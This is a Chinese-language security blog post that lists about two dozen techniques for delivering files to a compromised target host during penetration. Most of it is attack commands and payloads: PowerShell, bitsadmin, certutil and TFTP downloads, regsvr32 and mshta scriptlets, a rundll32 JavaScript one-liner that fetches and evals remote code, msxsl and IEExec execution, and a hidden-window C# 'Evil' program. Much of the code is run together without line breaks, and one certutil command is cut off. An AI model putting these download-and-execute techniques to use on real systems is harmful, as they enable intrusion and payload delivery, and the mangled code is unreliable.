收集整理的23種文件下載的方式

2021-12-25 Ms08067安全實驗室
在我們的滲透過程中,通常會需要向目標主機傳送一些文件,來達到提權,維持控制等目的。

PowerShell File Download

PowerShell 是一種winodws原生的腳本語言,對於熟練使用它的人來說,可以實現很多複雜的功能。下面這兩條指令實現了從Internet網絡下載一個文件。
$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

有的時候PowerShell的執行權限會被關閉,需要使用如下的語句打開。
C:\>powershell set-executionpolicy unrestricted


Visual Basic File Download在1998年Visual Basic最終標準在windows上確定。下面的代碼可以實現下載文件,雖然它的長度比Powershell長多了。
Set args = Wscript.ArgumentsUrl = "http://domain/file"dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")xHttp.Open "GET", Url, FalsexHttp.Sendwith bStrm    .type = 1 '    .open    .write xHttp.responseBody    .savetofile " C:\%homepath%\file", 2 'end with

在windows中Cscript指令可以允許你執行VBS腳本文件或者對script腳本做一些設置。在windows 7中這個指令並不是必須要用到。但是在windows XP中需要使用這條指令,如下所示。以下四種語言都不是系統原生腳本,但是如果你的目標機器安裝了這些語言,你就可以使用他們來下載文件。Perl是一門很吊的語言,使用它基本可以實現任何事情,用它實現文件下載也很簡單。
use LWP::Simple;getstore("http://domain/file", "file");


Python File Download

Python也是很受歡迎的主流腳本語言,代碼清晰且簡潔。

#!python#!/usr/bin/pythonimport urllib2u = urllib2.urlopen('http://domain/file')localFile = open('local_file', 'w')localFile.write(u.read())localFile.close()


Ruby File Download

Ruby是一個面對對象的語言,Metasploit框架就是用它來實現的,當然他也可以實現像下載文件這樣的小任務。

require 'net/http'Net::HTTP.start("www.domain.com") { |http|r = http.get("/file")open("save_location", "wb") { |file|file.write(r.body)}}


PHP File Download

PHP作為一種服務端腳本,也可以實現下載文件這種功能。

<?php        $data = @file("http://example.com/file");        $lf = "local_file";        $fh = fopen($lf, 'w');        fwrite($fh, $data[0]);        fclose($fh);?>

下面的上傳文件的方法,可能需要更多步驟,但是有些情況下卻可以繞過去多限制。一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash腳本,考慮到了交互的情況,可以直接執行並不會產生交互動作。
ftp 127.0.0.1usernamepasswordget fileexit


TFTP File Download

在Windows Vista以及以後的版本中默認有FTP,可以使用以下命令運行:

tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server


Bitsadmin File Download

Bitsadmin是Windows命令行工具,用戶可以使用它來創建下載或上傳的任務。

bitsadmin /transfer n http://domain/file c:\%homepath%\file


Wget File Download

Wget是Linux和Windows下的一個工具,允許非交互下載。


Netcat File Download
這個命令會將file的內容輸出到本地的1234埠中,然後不論誰連接此埠,file的內容將會發送到連接過來的IP。

這條命令將連接攻擊者的電腦,接受file內容保存。


Windows Share File Download

Windows shares可以加載一個驅動器,然後用命令來複製文件。

加載遠程驅動:

net use x: \\127.0.0.1\share /user:example.com\userID myPassword


Notepad Dialog Box File Download
如果你有權限接入一臺(遠程連接或者物理機)電腦,但是你用戶權限不允許打開瀏覽器,這種方式可以讓你快速的從一個URL或者UNC路徑當中下載文件。

打開notepad

點擊file - open

Notepad將會獲取URL的內容展現出來。


Exe to Txt, and Txt to Exe with PowerShell and Nishang

http://code.google.com/p/nishang/downloads/list

當需要把一個exe文件放到目標計算機上時,這可能是我最喜歡的工具,Nishang使用PowerShell允許你把一個exe轉換成hex,然後把hex再轉換成原來的exe文件。
PS > .\ExetoText.ps1 evil.exe evil.txt

打開evil.txt文件,複製內容,然後通過RDP的剪貼板複製進目標計算機。
PS > .\TexttoExe.ps1 evil.text evil.exe


Csc.exe to Compile Source from a File

C#編譯器(CSC)是包含在Windows微軟.NET安裝中的命令行編譯器。

C:\Windows\Microsoft.NET\Framework\version

使用下面的示例代碼,編譯後的可執行文件將使用的cmd.exe來查詢本地用戶,然後將結果寫入一個在C:\Temp\users.txt中。可以修改其中的代碼,達到自己想要的目的,然後編譯成exe文件。
public class Evil{   public static void Main()   {      System.Diagnostics.Process process = new System.Diagnostics.Process();      System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();      startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;      startInfo.FileName = "cmd.exe";      startInfo.Arguments = "/C net users > C:\\Temp\\users.txt";      process.StartInfo = startInfo;      process.Start();   }}

csc.exe /out:C:\evil\evil.exe C:\evil\evil.cs

Certutil.exe是一個命令行程序,作為證書服務的一部分安裝。可以使用Certutil.exe轉儲和顯示證書頒發機構(CA)配置信息,配置證書服務,備份和還原CA組件,以及驗證證書,密鑰對和證書鏈。

文件下載並執行如下:

certutil -urlcache -split -f http:

Regsvr32命令用於註冊COM組件,是 Windows 系統提供的用來向系統註冊控制項或者卸載控制項的命令,以命令行方式運行。WinXP及以上系統的regsvr32.exe在windows\system32文件夾下;2000系統的regsvr32.exe在winnt\system32文件夾下。

regsvr32 /u /s /i:http://site.com/js.png scrobj.dll

js.png

<?XML version="1.0"?><scriptlet><registration    progid="ShortJSRAT"    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >        <script language="JScript">        <![CDATA[            ps  = "cmd.exe /c calc.exe";            new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]></script></registration></scriptlet>

pubprn.vbs

在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已籤名WSH腳本,其位於C:\Windows\System32\Printing_Admin_Scripts\en-US,仔細觀察該腳本可以發現其顯然是由用戶提供輸入(通過命令行參數),之後再將參數傳遞給GetObject()

也就是說我們可以運行該腳本,然後按照預期將這2個參數傳遞出去。第一個參數是啥無所謂,第二個參數則是通過script: moniker構造的payload注意:如果你在第一個參數中提供了一個非網絡地址的值(因為其預期是一個伺服器名稱),你可以加上/b切換到cscript.exe
cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%

mshta
mshta http://site.com/calc.htamshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")objShell.Run "calc.exe"self.close</script><body>demo</body></HEAD> </HTML>

msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png


msxsl.exe(需下載)

msxsl https://evi1cg.github.io/scripts/demo.xml https://evi1cg.github.io/scripts/exec.xsl

demo.xml

<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoft</name></customer></customers>

<?xml version='1.0'?><xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:msxsl="urn:schemas-microsoft-com:xslt"xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user">   function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");   return nodelist.nextNode().xml;    }</msxsl:script><xsl:template match="/">   <xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>


IEExec
C:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s offC:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec http://site.com/files/test64.exe

當然除了列舉的這23種方法以外還有許多其它的辦法來上傳文件。希望這篇文章對大家有幫助!
https://evi1cg.me/archives/remote_exec.html

新書:《內網安全攻防:滲透測試實戰指南》火爆上市!

購買連結:https://item.jd.com/12743210.html

Ms08067安全實驗室

專注於普及網絡安全知識。團隊已出版《Web安全攻防:滲透測試實戰指南》,預計2019年10月出版《內網安全攻防:滲透測試實戰指南》,12月出版《CTF競賽秘笈-入門篇》,目前在編Python滲透測試,JAVA代碼審計和APT方面的書籍。

團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。

官方網站:www.ms08067.com

相關焦點

  • 數據收集、整理低效繁瑣?WPS表單幫你輕鬆解決
    在21世紀這個高速發展的資訊時代,不管我們從事何種職業,身處哪個崗位,幾乎都會遇到數據收集及整理這類工作,比如收集用戶問題反饋、組織活動報名、投票統計、銷售數據統計以及學生/員工資料收集等等。  遇到上面這些數據收集和整理工作時,你是如何處理的?
  • 「賽普健身資料包」歷時3年收集整理25.6G一鍵下載
    一鍵下載,永久有效,下載方式在文末賽普君從2015年接手這個公眾號,到現在已有3年了。在這3年裡,被大家「逼迫」不斷擴充自己的知識。在寫出1000+篇健身原創的過程中,積累了大量的資料,定期整理更新,去陳納新(網盤會炸)。為了讓這些資料發揮更大的價值,也為了回饋愛我這麼久的你們。
  • 收集整理:500部飛盧同人小說合集!!!
    免責申明:☑ 公眾號太玄推書提供的全部資源均為免費分享,大多來源於網際網路,僅供於學習&交流(禁商用牟利),如有侵權請聯繫我刪除☑ 資源僅供學習交流,請下載後24小時內刪除☑ 本平臺不對任何下載或轉載者造成的危害負任何法律責任!
  • 重新收集整理了一大波電腦軟體,姿勢網盤下載
    好像有很長一段時間沒有推薦什麼windows軟體了,恰好最近onedrive修改了cdn,測試了幾天自己網盤下載速度,終於恢復正常了,就沒有理由放著吃灰了
  • PHP通過header方式下載文件
    PHP通過header方式下載文件時,不能使用ajax方式提交,該方式會將header結果返回給ajax。(1) 在下載大文件的時候,通常需要很長的時間,PHP有默認執行時間,一般是30s,超過該時間,就是下載失敗,所以需要設置一下超時時間`set_time_limit(0);`該語句說明函數執行不設置超時時間。
  • 收集整理:呂天逸作品合集(55本)!!!
    免責申明:☑ 公眾號太玄推書提供的全部資源均為免費分享,大多來源於網際網路,僅供於學習&交流(禁商用牟利),如有侵權請聯繫我刪除☑ 資源僅供學習交流,請下載後24小時內刪除☑ 本平臺不對任何下載或轉載者造成的危害負任何法律責任!
  • 《數據收集整理》教案案例 陳錦玉
    設計理念:《標準(2011)》指出:統計指的是對與某一現象有關的數據的收集、整理、計算、分析,解釋,表述等活動。因此,其過程可以概括為收集數據整理數據,描述數據和分析數據。並提出,在第一學段要經歷簡單的數據收集和整理過程,了解調查測量等收集數據的簡單方法,並能用自己的方式(文字、圖畫、表格等)呈現整理數據的結果。
  • 這可能是最全的電腦文件整理方法合集
    (註:IDM 是一款管理下載文件的工具)——來自微信用戶 南開南「用 windows 庫,邏輯整理。」——來自微信用戶 秦川@在牛閃閃的日子「C 盤系統文件,D 盤軟體,E 盤和 F 盤為資料收集,會用思維導圖 Mindmanager 來整理資料。」
  • Mac系統怎麼在網頁下載文件
    Folx是一款Mac系統上兼容大部分瀏覽器的下載工具,它支持多線程、斷點續傳等功能,同時支持直鏈下載和BT種子下載等多種下載方式,下載速度超快,是一款不可多得、操作方便的下載軟體。下面小編將在Mac系統平臺上,通過一篇教程教大家利用Folx 5來下載網頁上有直接下載連結的文件。快速下載文件第一步,在瀏覽器中找到自己需要下載的文件,然後點擊滑鼠右鍵,選擇「拷貝連結」,如下圖1所示,直接將文件的下載連結拷貝下來。
  • 從不整理電腦,存了再有用的文件也是炮灰
    系統盤中,存放系統文件。當然你也可以不用這樣的分類方式,在工作文件夾中的文件,最好忽略格式來存放,就不會漏掉了。同樣,文件的命名也是為方便我們今後搜索而服務的。不需要打開文件,看標題便能知道其中大體內容,我們的目的就達到了。比如說,我們在演界團了一份免費模板,剛下載下來的時候可能是這樣的
  • 解讀丨歸檔文件整理規則,電子文件的格式轉換
    格式轉換電子文件格式是指電子文件在計算機等電子設備中組織和存儲的編碼方式。電子文件的呈現與閱讀,需要依靠與其文件格式相對應的閱讀軟體才能實現,因而文件格式的有效性、可用性通常與作業系統、應用軟體甚至是硬體等密切關聯。
  • YouTube視頻下載的6種方法整理
    WinX有一個動態分析器,WinX允許用戶從300多個在線視頻網站下載視頻。該軟體擁有簡潔的界面和簡易的操作,正如它宣傳的一樣:只需手動複製和粘貼YouTube視頻連結,選擇下載解析度,然後這個應用就可以將視頻離線下載下來。它的優點是兼容許多流行的視頻網站,操作簡單,支持將YouTube高清和超高清視頻下載成MP4文件,WinX的缺點是不支持多線程下載,也不能下載字幕文件。
  • FUSE:23個Web應用中的30個文件上傳漏洞
    轉載: nosec作者:iso60001通過使用一個自動化測試工具包,來自韓國的安全研究人員發現了23個Web應用(論壇、CMS等)所涉及的文件上傳機制中的30個漏洞。測試工具所有的文件上傳漏洞都是通過FUSE發現的,FUSE是一種新型自動滲透測試工具,用於發現PHP應用程式中的UFU(不受限制的文件上傳)和UEFU(不受限制的可執行文件上傳)漏洞。研究團隊表示,在編寫FUSE之前,他們分析了過去的文件上傳漏洞,並確定了8種最常見的利用模式和技術。
  • centos鏡像文件iso下載 - CSDN
    (鏡像站相關概念見後文)Tips:就像 windows 有windows 7和windows 10一樣,CentOS也有很多版本,通過這種方式在官網下載的是最新版本的CentOS鏡像(目前為7.6,以後若有新版本,則為最新版本);根據上圖中的英文提示可知,紅框中的鏡像站是比較靠近你所處的地區,因此下載速度相對要快一些,而位於較遠位置的鏡像站下載速度則要慢得多。
  • 整理電腦文件的關鍵其實是,別把時間浪費在整理上【石說】
    石頭發現,分類和整理文件各種千奇百怪才華橫溢的方法,無非可以概括為兩種路徑,一種是邊處理邊整理,一種是先處理再整理。 邊處理邊整理的人是石頭的偶像,石頭非常想朝他們面前的碗裡扔幾個硬幣以表達敬仰之情。這群人有著宗教信仰般的「文件潔癖」和高度自律。
  • qq郵箱下載的文件在哪
    現在很多人都會通過QQ郵箱發送一些文件,但是也有一部分新朋友不知道qq郵箱下載的文件在哪裡,現在跟著小編的腳步一起看一下,通過qq郵箱下載的文件在什麼地方、從哪裡可以自己設置文件要放的位置吧。打開您的QQ郵箱。打開郵箱有2種方法,1:登入QQ點擊郵箱圖標進入郵箱。
  • PDF文件原來如此簡單!創建、轉換、加密、列印,都免費(附下載方式)
    PDF的創建有三種方式:1.通過PDF編輯軟體(文章底部大家可自行獲取)創建,其中一種快捷創建方式是點擊右鍵;(如Word、Excel、PPT都可直接另存PDF格式,對於其他文件格想轉換為PDF時,直接選用第一種方式)在列印時如發現PDF中四周空白邊距較大,需要對整個文件統一進行調整邊框時,可選擇:組織頁面→設置頁邊框,也可勾選下方 刪除白邊距進行自動識別
  • 如何通過軟體筆記收集和整理知識?
    這種收集起來的方法還有一個好處就是,我們收集的多了,在統一整理的時候,甚至會發現很多相似的知識。這樣一來,我們就可以自己匯總,得到一份比單個作者本身生產出來更完善的知識。這就是搭建了自己的知識體系。收集整理知識還有一個好處是,待我們需要之時,可以很迅速的找到這些知識。例如我自己收集日常中碎片化的想法,和一些隻言片語,有時甚至是一些被人寫過的比較好的文章,我想收藏起來。但是這個平臺收藏一點,那個平臺收藏一些,到最後需要的時候卻不知道去哪裡找。
  • 25款幾何漸變海報背景素材PSD源文件打包下載
    )8、47款中國風水墨模板古典山水古風展板桃花節背景海報廣告設計PSD素材9、20款很棒的3D文本模型PSD源文件打包下載【AE模板】1、AE模板工具包 高科技背景公司企業Logo片頭包裝AE源文件打包下載2、100種閃光,爆破,過場AE動畫特效素材工程包打包下載3、AE腳本
  • 安裝ipa文件有哪幾種方式?
    一個ipa文件該如何安裝到蘋果手機上呢?這個問題其實是有多種解決方式的。其中有需要通過電腦進行的安裝操作,然後也可以直接在移動端實現安裝,那具體應該如何操作呢,下面跟咔嘰一起來了解一下。安裝ipa文件較常用的方式:第一種是通過企業籤名的方式直接安裝ipa文件,這是ios內測最常用的。